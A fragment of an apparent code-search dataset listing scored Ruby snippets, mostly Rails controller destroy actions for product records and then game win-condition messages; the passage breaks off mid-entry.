"text": "def destroy\n @producteur = Producteur.find(params[:id])\n @producteur.destroy\n\n respond_to do |format|\n format.html { redirect_to producteurs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3ac42c3fe526fab0488504a41bbc2029",
"score": "0.7302966",
"text": "def destroy\n @orden_producto.destroy\n respond_to do |format|\n format.html { redirect_to orden_productos_url, notice: 'Orden producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d367a0c97b93aa1252b423af99d79612",
"score": "0.7299975",
"text": "def destroy\n @producto_ingreso = ProductoIngreso.find(params[:id])\n @producto_ingreso.destroy\n\n respond_to do |format|\n format.html { redirect_to producto_ingresos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "22a824275d7e214bd500fa12937b056d",
"score": "0.7294341",
"text": "def destroy\n @graficos_producto.destroy\n respond_to do |format|\n format.html { redirect_to graficos_productos_url, notice: 'Graficos producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8a148a00694f39245b6acd09a405cf01",
"score": "0.7293908",
"text": "def destroy\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url, notice: 'El producto fue eliminado satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a6856d895dc2552da18b118d9e76dff0",
"score": "0.72931737",
"text": "def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to produtos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7d8ec3e86e37ce328ce1f669203d5237",
"score": "0.7290091",
"text": "def destroy\n @producto_ofertado.destroy\n respond_to do |format|\n format.html { redirect_to producto_ofertados_url, notice: 'Producto ofertado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bd01164c6edd3314ec13ec01f586fae8",
"score": "0.72723746",
"text": "def destroy\n @pelicula = Pelicula.find(params[:id])\n @pelicula.destroy\n render json: {message: 'Eliminated'}, status: :ok\n\n end",
"title": ""
},
{
"docid": "1abb26bf31f5093c3848b2927ff648be",
"score": "0.7263711",
"text": "def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to aplicaciones_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4da0c3cce3df3878ec0182fd0bdf806b",
"score": "0.726125",
"text": "def destroy\n @insumos_serigrafia_producto.destroy\n respond_to do |format|\n format.html { redirect_to insumos_serigrafia_productos_url, notice: 'Insumos serigrafia producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a9e28f1d8ffa1448a1d192a5786dcd02",
"score": "0.7260858",
"text": "def destroy\n self.validar_admin\n @producto.destroy\n respond_to do |format|\n format.html { redirect_to productos_url, notice: 'Producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2e64698c007beec8c5b40fc7b19e2452",
"score": "0.72597456",
"text": "def destroy\n @producto_plato.destroy\n respond_to do |format|\n format.html { redirect_to producto_platos_url, notice: 'Producto plato was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a8221a5ed71872f49b5d486dc7ad2190",
"score": "0.72573185",
"text": "def destroy\n @venta_producto.destroy\n respond_to do |format|\n format.html { redirect_to venta_productos_url, notice: 'Venta producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "61d2ff2b32ae4eb6f82a2fd5ef1578c9",
"score": "0.72553873",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bd15b629b0317b0b8e629a455473916a",
"score": "0.72470134",
"text": "def destroy\n @tipo_producto.destroy\n respond_to do |format|\n format.html { redirect_to tipo_productos_url, notice: 'Tipo producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "99f1cef4426fe4c4a9c6fee22f69b17b",
"score": "0.7246479",
"text": "def destroy\n @opcione.destroy\n respond_to do |format|\n format.html { redirect_to opciones_url, notice: 'Opcione was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c8015b332ce2bbb748e90f0307c602f5",
"score": "0.7244036",
"text": "def destroy\n @presentacion = Presentacion.find(params[:id])\n @presentacion.destroy\n producto = Producto.find(session[:producto])\n\n respond_to do |format|\n session[:producto] = nil\n format.html { redirect_to producto, notice: 'Presentación eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "03da264b3ff9ff87a5cea2be8d6c5686",
"score": "0.72224766",
"text": "def destroy\n @vpsa_produto = VpsaProduto.find(params[:id])\n @vpsa_produto.destroy\n\n respond_to do |format|\n format.html { redirect_to vpsa_produtos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "78e386edaf9083574bee9d7122d651fb",
"score": "0.72213066",
"text": "def destroy\n @opcion.destroy\n respond_to do |format|\n format.html { redirect_to opcions_url, notice: 'Opcion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "345cffe83826f7af0ce5d8107a22ed32",
"score": "0.7219337",
"text": "def destroy\n @producto_inmueble.destroy\n respond_to do |format|\n format.html { redirect_to producto_inmuebles_url, notice: 'Producto inmueble was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6611c67116d8f60629ddb68ba9e45933",
"score": "0.72090703",
"text": "def destroy\n @insumos_sublimacion_producto.destroy\n respond_to do |format|\n format.html { redirect_to insumos_sublimacion_productos_url, notice: 'Insumos sublimacion producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45747b03f0c8b14fb6c7ee2633ac7621",
"score": "0.72072405",
"text": "def destroy\n @impresoras_sublimacion_producto.destroy\n respond_to do |format|\n format.html { redirect_to impresoras_sublimacion_productos_url, notice: 'Impresoras sublimacion producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1add557b1c8b483e4240259ded5d12ab",
"score": "0.7198522",
"text": "def destroy\n @sale_producto.destroy\n respond_to do |format|\n format.html { redirect_to sale_productos_url, notice: 'Sale producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "344adc10520528a46aefec91dadf742c",
"score": "0.71935767",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto foi apagado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "586b2ec4bc191be6d3e9a0fcef469bd0",
"score": "0.7189455",
"text": "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9f39d7d7016b802de06140ea3402662",
"score": "0.7186985",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9f39d7d7016b802de06140ea3402662",
"score": "0.7186985",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9f39d7d7016b802de06140ea3402662",
"score": "0.7186985",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9f39d7d7016b802de06140ea3402662",
"score": "0.7186985",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f9f39d7d7016b802de06140ea3402662",
"score": "0.7186985",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cdf34424537621c7b8b0b1751c2a18d8",
"score": "0.7179092",
"text": "def destroy\n @opcional.destroy\n respond_to do |format|\n format.html { redirect_to opcionais_url, notice: 'Opcional was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d43b0ffc9c7545ae3f861a9028d0145b",
"score": "0.7175284",
"text": "def destroy\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @item_producto = @producto.item_productos.find(params[:id])\n @item_producto.destroy\n respond_to do |format|\n format.html { redirect_to empresa_producto_item_productos_path, notice: 'Item producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "83964fa39c199f2907f255669a437113",
"score": "0.7170027",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to fabricante_produtos_path(@fabricante), notice: 'Produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ff04881d908a66cef2bb35526face0b1",
"score": "0.71674836",
"text": "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to(productos_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ff04881d908a66cef2bb35526face0b1",
"score": "0.71674836",
"text": "def destroy\n @producto = Producto.find(params[:id])\n @producto.destroy\n\n respond_to do |format|\n format.html { redirect_to(productos_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "108f0ce96e0f4bbcc8879792c294aae8",
"score": "0.7163624",
"text": "def destroy\n @prospecto_ocupacion.destroy\n respond_to do |format|\n format.html { redirect_to prospecto_ocupaciones_url, notice: 'Prospecto ocupacion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "94c495ac794bc310b1b46a94cce5d8a5",
"score": "0.7161571",
"text": "def destroy\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto deletado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ca50a8f82b8426eb9f371f01e306ca24",
"score": "0.71609926",
"text": "def destroy\n @objeto.destroy\n respond_to do |format|\n format.html { redirect_to opciones_url, notice: 'Opcion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a9a9ddd9b0ba4f55fc26c6774ecdd2c7",
"score": "0.7157268",
"text": "def destroy\n @produto = Produto.find(params[:id])\n @produto.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_produtos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a7decc36cbf95150961d75f3cd537188",
"score": "0.7155088",
"text": "def destroy\n @product.destroy\n\n render json: @product\n end",
"title": ""
},
{
"docid": "6595000a0a4fe1a31ed9d19871a4101d",
"score": "0.7153653",
"text": "def destroy\n @product = Product.find(params[:id])\n \n if @product.destroy\n render json: @product, :status => :ok\n else\n render json: @product, :status => '500'\n end\n end",
"title": ""
},
{
"docid": "f245bcabc83c5d69181fc839e9c33b4f",
"score": "0.71536416",
"text": "def destroy\n @ocupacion = Ocupacion.find(params[:id])\n @ocupacion.destroy\n\n respond_to do |format|\n format.html { redirect_to ocupacions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b52588e61435643c4bcdc40719f75a98",
"score": "0.71500516",
"text": "def destroy\n @est_prod_of_nec.destroy\n respond_to do |format|\n format.html { redirect_to est_prod_of_necs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "009beb004d10f20ae8e92b800d52042d",
"score": "0.7149695",
"text": "def destroy\n @catalogo_ropa.destroy\n respond_to do |format|\n format.html { redirect_to catalogo_ropas_url, notice: 'Producto en catalogo eliminado correctamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8a3febf09d57a5cfd829b631f646e279",
"score": "0.71472174",
"text": "def destroy\n @tipo_produto.destroy\n respond_to do |format|\n format.html { redirect_to tipo_produtos_url, notice: 'Tipo produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "14498db6143414f83b5a6bc8ee1f155b",
"score": "0.71449775",
"text": "def destroy\n @tinta_serigrafia_producto.destroy\n respond_to do |format|\n format.html { redirect_to tinta_serigrafia_productos_url, notice: 'Tinta serigrafia producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f3471e68038f2de0a6f334b26ab8cbb5",
"score": "0.714057",
"text": "def destroy\n @maquinaria_serigrafia_producto.destroy\n respond_to do |format|\n format.html { redirect_to maquinaria_serigrafia_productos_url, notice: 'Maquinaria serigrafia producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0879ade66bdab83e51e8da609fb6b45b",
"score": "0.7137491",
"text": "def destroy\n @resposta = Resposta.find(params[:id])\n @resposta.destroy\n\n respond_to do |format|\n format.html { redirect_to respostas_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "37e35374310067fef47d3f7a3b1f42a7",
"score": "0.71330494",
"text": "def destroy\n self.validar_admin\n @tipo_producto.destroy\n respond_to do |format|\n format.html { redirect_to tipo_productos_url, notice: 'Tipo producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b9b34b33e0fe914d1fb8a01f64b1a67e",
"score": "0.71327984",
"text": "def destroy\n @presupuesto_inicial_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to presupuesto_inicial_proyectos_url, notice: \"Presupuesto inicial proyecto was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "37d5c4e4df7587624182ee05ae237c57",
"score": "0.71280986",
"text": "def destroy\n @marca_producto.destroy\n respond_to do |format|\n format.html { redirect_to marca_productos_url, notice: 'Marca Producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n\n end",
"title": ""
},
{
"docid": "cc08b7701a6b30086f6160b60a2713d4",
"score": "0.7126511",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to backend_products_url, notice: 'Producto eliminado.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ac8200ea1782ad1a24665f319310f434",
"score": "0.7126042",
"text": "def destroy\n @cartorio.destroy\n respond_to do |format|\n format.html { redirect_to cartorios_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2666a4bd2d4aa7ef56a4fc580e09659c",
"score": "0.7122296",
"text": "def destroy\n @product_datum.destroy\n respond_to do |format|\n format.html { redirect_to product_data_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bea7bded9c692e9669dac6b776015bc1",
"score": "0.71199334",
"text": "def destroy\n @st_produto.destroy\n respond_to do |format|\n format.html { redirect_to st_produtos_url, notice: 'St produto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d77c5b1b56c2100cb2c4e9244382ee3d",
"score": "0.7115903",
"text": "def destroy\n producto = Producto.find(@productos_vendido.producto_id)\n restauranteUserId = Restaurante.find(producto.restaurante_id).user_id\n @productos_vendido.destroy\n respond_to do |format|\n format.html { redirect_to productos_vendidos_verCarrito_path(restauranteUser_Id:restauranteUserId)}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8624f636ee14aa6f04bef82d274c77ee",
"score": "0.71120197",
"text": "def destroy\n\n @produto.destroy\n respond_to do |format|\n format.html { redirect_to produtos_url, notice: 'Produto foi deletado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6aacef0a41b0cab169d450bf06d67c78",
"score": "0.7109937",
"text": "def destroy\n @apuestum = Apuestum.find(params[:id])\n @apuestum.destroy\n\n respond_to do |format|\n format.html { redirect_to apuesta_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "97f10b60ce3e3581ca3d064e882fdb0e",
"score": "0.7106764",
"text": "def destroy\n @product1 = Product1.find(params[:id])\n @product1.destroy\n\n respond_to do |format|\n format.html { redirect_to product1s_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9f099cf649f3becd7a2bc8c74d38e1f8",
"score": "0.71048945",
"text": "def destroy\n @especie_catalogo.destroy\n respond_to do |format|\n format.html { redirect_to especies_catalogo_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cbf7c8966e9979efd129a55dd9b65df0",
"score": "0.7104426",
"text": "def destroy\n @product.destroy\n respond_to do |format|\n format.html { redirect_to sales_products_url, notice: 'Producto eliminado con éxito.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5296326936ae8b812480226cf4df7639",
"score": "0.710407",
"text": "def destroy\n @document_producte.destroy\n respond_to do |format|\n format.html { redirect_to document_productes_url, notice: 'Document producte was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f208b6c36426d80d818189c014d41af7",
"score": "0.7101348",
"text": "def destroy\n @ocorrenciaveiculo.destroy\n respond_to do |format|\n format.html { redirect_to ocorrenciaveiculos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f4e8c88d6ebdfc0a1dfe6ad3edd476be",
"score": "0.70982915",
"text": "def destroy\n @prod_of_nec.destroy\n respond_to do |format|\n format.html { redirect_to prod_of_necs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fcebf71f51e4c3ac4349c61028ef1c52",
"score": "0.70949507",
"text": "def destroy\n #@pedido = Pedido.find(@producto.pedido_id)\n @producto.destroy\n respond_to do |format|\n #format.html { redirect_to productos_url(:pedido => @pedido), notice: 'Producto was successfully destroyed.' }\n format.html { redirect_to productos_url, notice: 'Producto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "10f113e5adb1420da7addb818762d61d",
"score": "0.7092698",
"text": "def destroy\n @safra_impureza = SafraImpureza.find(params[:id])\n @safra_impureza.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/safra_produtos/#{@safra_impureza.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cb50727df098ba04bb476c188ac05824",
"score": "0.7092417",
"text": "def destroy\n @inventario_propiedad.destroy\n respond_to do |format|\n format.html { redirect_to inventario_propiedads_url, notice: 'Inventario propiedad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8052f3e2bee2f439cad2a07771da047a",
"score": "0.7090312",
"text": "def destroy\r\n @product = Product.find(params[:id])\r\n @product.destroy\r\n render json: { status: \"success\", data: @product}\r\n end",
"title": ""
},
{
"docid": "7abfb3fbec5b3325839fc790030d0508",
"score": "0.708918",
"text": "def destroy\n @prospecto_referido.destroy\n respond_to do |format|\n format.html { redirect_to prospecto_referidos_url, notice: 'Prospecto referido was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
47f538b44f8410c659e7d0e6cf6cebbe
|
announce win condition description
|
[
{
"docid": "8a5a183cd1e039afffcc1fe72f58709a",
"score": "0.7690653",
"text": "def win_condition_message(win_description)\n \"To defeat this monster, you must #{win_description}.\"\n end",
"title": ""
}
] |
[
{
"docid": "c3e16da3ffce87acbff3b5bc5e24c3ec",
"score": "0.678628",
"text": "def winning_message(won:) \n puts won != false ? \"-----#{won.name} has won!------\" : \" \"\n end",
"title": ""
},
{
"docid": "138b0e4455db672f6f5c07547f77612c",
"score": "0.67360646",
"text": "def winner_announcement\n \tif computer_winner?\n puts \"~ I'M SORRY! THE COMPUTER BEAT YOU... YOU LOST! ~\"\n play_again?\n elsif human_winner?\n puts \"~ CONGRATULATIONS! YOU WON!!! ~\"\n play_again?\n else\n puts \"~ CATS GAME... IT WAS A TIE! ~\"\n play_again?\n end\n end",
"title": ""
},
{
"docid": "c730063f78bf1bc956f2efd961c2e96e",
"score": "0.66848975",
"text": "def win_message\n \"#{@winner.name} wins with a score of #{@winner.current_stat}\"\n end",
"title": ""
},
{
"docid": "268b4c668ddf5ac4ecff95ab1fba2cc9",
"score": "0.65285844",
"text": "def announce_winner\n if !win?\n puts 'Not gonna lie; it is a TIE!'\n elsif @turns.odd?\n puts \"You beat me! There was something in my eye. I couldn't see!\"\n else\n puts \"BOOOM! I WON! THIS IS INSANE! ... I mean ... Good game!\"\n end\n end",
"title": ""
},
{
"docid": "bdb83da2f1322e969af99ac8ccf39f53",
"score": "0.65190965",
"text": "def outcome\n if has_won == true\n \"Won\"\n else\n \"Lost\"\n end\n end",
"title": ""
},
{
"docid": "07a91ee7db6fa38a8be63dadcb29be31",
"score": "0.6388198",
"text": "def winners_comments\r\n \"#{name} says 'Good moves must give way to better!'\"\r\n end",
"title": ""
},
{
"docid": "ec41af8673a979542b769c279c2a91d3",
"score": "0.636999",
"text": "def displaywinner(won)\n\t\t\tif won\n\t\t\t\treturn \"Well done. You win.\"\n\t\t\telse\n\t\t\t\treturn \"Sorry, computer wins.\"\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "3d50f0aa6f6172e0e0c1a6655404c650",
"score": "0.636547",
"text": "def outcome_win_strings\n\t\t@display_player_win = Gosu::Image.from_text(self, \"Player won!\", \"Times New Roman\", 50)\n\t\t@display_dealer_win = Gosu::Image.from_text(self, \"Dealer won!\", \"Times New Roman\", 50)\n\t\t@display_game_tie = Gosu::Image.from_text(self, \"There was a tie!\", \"Times New Roman\", 50)\n\tend",
"title": ""
},
{
"docid": "a3d4c9528e1f57086b29ff2dde20e7cb",
"score": "0.6365227",
"text": "def status\n\t\tif win == true\n\t\t\t\"<span class='label bg-green'>Menang</span>\".html_safe\n\t\telsif win == false\n\t\t\t\"<span class='label bg-pink'>kalah</span>\".html_safe\n\t\telse\n\t\t\t\"<span class='label bg-pink'>Masa Pendaftaran</span>\".html_safe\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5e1e068c434a5ef8f21ab5c92d1d0baa",
"score": "0.6304074",
"text": "def status\n return '' if @winner.nil?\n @winner ? :win : :loose\n end",
"title": ""
},
{
"docid": "4cdfc28b009725cd767a3edeaea0eb4c",
"score": "0.62720764",
"text": "def whoWon\r\n if @board.winCondition(@player1.marker)\r\n @board.printBoard\r\n puts \"\\n Human Player Wins!\\n\"\r\n finish\r\n elsif @board.winCondition(@player2.marker)\r\n @board.printBoard\r\n puts \"\\n Negaman Wins! I have defeated you, human.\\n\"\r\n finish\r\n end\r\n end",
"title": ""
},
{
"docid": "44b166f6f64d5fe4f627a22df297376c",
"score": "0.62669",
"text": "def checkWin\n if vertical_win || horizontal_win || diagonal_win || top_right_diagonal_win\n \"WINNER!\"\n end\n end",
"title": ""
},
{
"docid": "16c60b63c3965b931da592760d0f02e9",
"score": "0.6260108",
"text": "def print_status(runs_to_win, scored_runs, current_over)\n required_runs = runs_to_win - scored_runs\n puts \"\\n#{pluralise((4 - current_over), \"over\")} left. #{pluralise(required_runs, \"run\")} to win\\n\\n\"\nend",
"title": ""
},
{
"docid": "d91d542b7cdc7c6f2133e6c77a92f24f",
"score": "0.62466633",
"text": "def display_winning_message\n\t\tcase self.hand\n\t\twhen 'r'\n\t\t\tputs \"Rock crushes scissors!\"\n\t\twhen 'p'\n\t\t\tputs \"Paper wraps rock!\"\n\t\telse\n\t\t\tputs \"Scissors cuts paper!\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b8c4cb6711f6dfc4d9349e1088647240",
"score": "0.62429476",
"text": "def display_outro(condition)\n (puts \"Thanks for playing\\nYou made Chuck Norris proud\") if condition == 'game over'\n (puts \"You gave up, how unfortunate\\nBetter luck next time\") if condition == 'give up'\n end",
"title": ""
},
{
"docid": "d1f02f0419789cd282a1828f41e13ffe",
"score": "0.6207467",
"text": "def winners_comments\r\n \"#{name} says 'Slow and steady wins the race!'\"\r\n end",
"title": ""
},
{
"docid": "9753bec6969d47bf03f202e80b984584",
"score": "0.6166893",
"text": "def win\n\t\t@msg = \"You Win!\"\n end",
"title": ""
},
{
"docid": "d9ad9cd59d06225482e8833a6589f38a",
"score": "0.61579245",
"text": "def message\n\t\tif(@winner.is_a? Computer)\n\t\t\tloose = (Symbols::LOOSE + ' ') * 3\n\t\t\t@message = <<-TEXT\n\t\t\t #{'Computer wins!'.bold.blue}\n\t\t\t#{(loose + 'You loose...' + loose).bold.magenta}\\n\n\t\t\tTEXT\n\t\telsif(@winner.is_a? Human)\n\t\t\twin = (Symbols::WIN + ' ') * 3\n\t\t\t@message = <<-TEXT\n\t\t\t #{'Computer sucks!'.bold.magenta}\n\t\t\t#{(win + 'You win!' + win).bold.cyan}\\n\n\t\t\tTEXT\n\t\tend\n\t\t@message\n\tend",
"title": ""
},
{
"docid": "cbcd6881e84cf146ce592cff0c5691c7",
"score": "0.6146231",
"text": "def explanation\n \"#{game_overview}\\n#{game_rules}\\n#{examples}\\n#{game_modes}\\n\"\n end",
"title": ""
},
{
"docid": "6e68cad2ddb830aa4aae0b1ba3078fe2",
"score": "0.6123267",
"text": "def winCondition\n return @winCondition\n end",
"title": ""
},
{
"docid": "ca9063eb206d0ace918c13a29f2e21e1",
"score": "0.6091876",
"text": "def who_won\n if tie_match\n tie_match_text\n\n elsif winning_match\n match_winner_text\n end\n end",
"title": ""
},
{
"docid": "14b6c3132feba232acb13b52235fbd4c",
"score": "0.605921",
"text": "def show_winner_information(name)\n output_text = String.new(TEXT_WINNER_INFORMATION)\n output_text['{player_name}'] = name\n\t\n sleep(@delay)\n puts output_text\n end",
"title": ""
},
{
"docid": "8fa47f735bfc2e2e0f313cda8358bcfb",
"score": "0.605731",
"text": "def won?\n\t\t@lose == @display\n\tend",
"title": ""
},
{
"docid": "b739b5f56244a12540c80189a2c00307",
"score": "0.60524213",
"text": "def display_winning_message(winning_choice)\n\tcase winning_choice\n\twhen'p'\n\t\tputs \"Paper covers Rock\"\n\twhen 'r'\n\t\tputs \"Rock smashes Scissors\"\n\twhen 's'\n\t\tputs \"Scissors cuts paper\"\n\tend\nend",
"title": ""
},
{
"docid": "ed75ee1ff58d733d5e6b36beb7a5ceab",
"score": "0.6025466",
"text": "def status\n if won\n \"Game Over: #{input.player} wins!\" if won\n elsif !won && turn_count == 42\n @draw = true\n \"Game Over: the game is draw\"\n end\n end",
"title": ""
},
{
"docid": "96d9d61d3103057a394af81e9e76bb83",
"score": "0.60228884",
"text": "def explanation\n \"#{game_overview}\\n\"\n end",
"title": ""
},
{
"docid": "b72bc5aff40995f83619f8bf7e288b56",
"score": "0.6014849",
"text": "def check_win_conditions(params)\n checks = check_answer(params)\n checks[:video] = win_or_lose_video(checks)\n checks[:are_you] = win_or_lose_person(checks)\n return checks\n end",
"title": ""
},
{
"docid": "b7fe9dc06fd862c7f15cca15a2d23f0c",
"score": "0.60139805",
"text": "def testWin\n @winCondition.setWin(@player1)\n @game.placePiece(0)\n assert_equal(@observer.notifications[-1][0], Game.WIN_FLAG, 'win condition not sent in notification')\n assert_equal(@observer.notifications[-1][1], @game.board, 'correct board not sent in notification')\n assert_equal(@observer.notifications[-1][2], @player1, 'correct player not sent in win notification')\n end",
"title": ""
},
{
"docid": "4462262199a63b510b773b1400ce2bf8",
"score": "0.6009386",
"text": "def calculate_win\n return diagonal_win if diagonal_win\n return horizontal_win if horizontal_win\n return vertical_win if vertical_win\n return 'nobody' if cat_game?\n end",
"title": ""
},
{
"docid": "bcb3b3a4786bd5d7b081c4f5d417638d",
"score": "0.5998537",
"text": "def win? \n game_status(\"wins\")\n end",
"title": ""
},
{
"docid": "a8ac7ac5d94da093dd18ae23520932ee",
"score": "0.5984583",
"text": "def show_defeat_condition(defeat_condition)\n puts '-' * 40\n puts\n puts \"DEFEAT CONDITION:\"\n puts \"To defeat this monster you must...#{defeat_condition}\"\n puts\n end",
"title": ""
},
{
"docid": "96e1709d63dcf810545a526bbde57052",
"score": "0.5969539",
"text": "def game_status\n if gameboard_complete\n puts \"YOU WON!\".colorize(:white)\n exit\n elsif @guess_count >= 6\n new_image = Cactus.new\n puts new_image.show_ascii(6)\n puts \"You lost... the correct answer was\\n\".colorize(:white)\n puts \" \" * 16 + \"#{@word.upcase.colorize(:white)} \\n\\n\"\n exit\n end\n end",
"title": ""
},
{
"docid": "b953197e02f6e4e7f39dd7a438332672",
"score": "0.59566456",
"text": "def congratulations\n if board.won?\n # congratulate the winner\n puts \"Congratulations #{board.winner.name}!\"\n board.winner.won\n end\n end",
"title": ""
},
{
"docid": "dd3630aca981fd17b1d828ec8dcbb3cd",
"score": "0.5955039",
"text": "def record\n \"W: #{self.wins} - L: #{self.losses}\"\n end",
"title": ""
},
{
"docid": "95fd04ff9f1391d5b2115640205cddb8",
"score": "0.5942482",
"text": "def winMessage(gameWord, chancesRemaining) \n\treturn 'Congradulations, you won by guessing the word \"' + gameWord + '\" with ' + chancesRemaining.to_s + ' chances remaining!'\nend",
"title": ""
},
{
"docid": "7b79187adfcec7dbc1a13e14ace2688c",
"score": "0.5939915",
"text": "def game_won\n \"Great job!! Those big, beautiful brains of yours just won the game!\"\n end",
"title": ""
},
{
"docid": "922510157cff98a43e1abc5e40e5fe75",
"score": "0.5934122",
"text": "def win_loss\n \"Wins: #{self.win} Losses: #{self.loss}\"\n end",
"title": ""
},
{
"docid": "034ce4bae00ac51f54a90ff29af6c576",
"score": "0.59298736",
"text": "def win?\n @game_result == 'W'\n end",
"title": ""
},
{
"docid": "4bb11ebf964d388ace6b63a9122fb51e",
"score": "0.59235644",
